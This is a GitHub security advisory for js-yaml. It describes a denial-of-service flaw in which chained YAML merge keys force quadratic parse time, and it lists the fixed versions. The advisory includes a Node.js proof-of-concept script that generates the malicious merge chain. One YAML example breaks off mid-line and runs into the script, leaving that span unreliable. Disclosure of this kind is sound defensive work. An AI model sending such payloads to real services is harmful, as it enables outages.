GitHub Advisoryadvisory · npm

GHSA-52cp-r559-cp3m js-yaml: YAML merge-key chains can force quadratic CPU consumption

HIGH Published 2026-07-20 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-59869
Ecosystem
npm
Packages
js-yaml
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400, CWE-407
Reviewed
2026-07-20

Affected packages

• npm js-yaml: >= 3.0.0, < 3.15.0 → fixed in 3.15.0 • npm js-yaml: >= 4.0.0, < 4.3.0 → fixed in 4.3.0

Description

Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Related

Alias · CVE (1)

  • CVE-2026-59869 js-yaml is a JavaScript YAML parser and dumper. vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-407 Inefficient Algorithmic Complexity weakness

References